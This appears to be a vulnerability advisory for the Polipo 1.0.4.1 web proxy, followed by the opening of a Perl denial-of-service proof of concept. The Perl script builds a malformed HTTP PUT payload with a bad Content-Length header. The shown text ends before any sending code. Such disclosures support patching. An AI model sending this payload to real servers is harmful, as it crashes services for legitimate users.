Polipo is prone to a denial-of-service vulnerability.
Remote attackers can exploit this issue to cause the application to crash, denying service to legitimate users.
Polipo 1.0.4.1 is vulnerable; other versions may also be affected.#!/usr/bin/perl# POLIPO 1.0.4.1 Denial Of Service# Disclaimer:# [This code is for Educational Purposes , I would Not be responsiblefor any misuse of this code]# Author: Usman Saeed# Company: Xc0re Security Research Group# Website: http://www.xc0re.net# DATE: [30/09/11]$host = $ARGV[0];$PORT = $ARGV[1];$evil = "PUT / HTTP/1.1\r\n"."Content-Length:1\r\n\r\n";
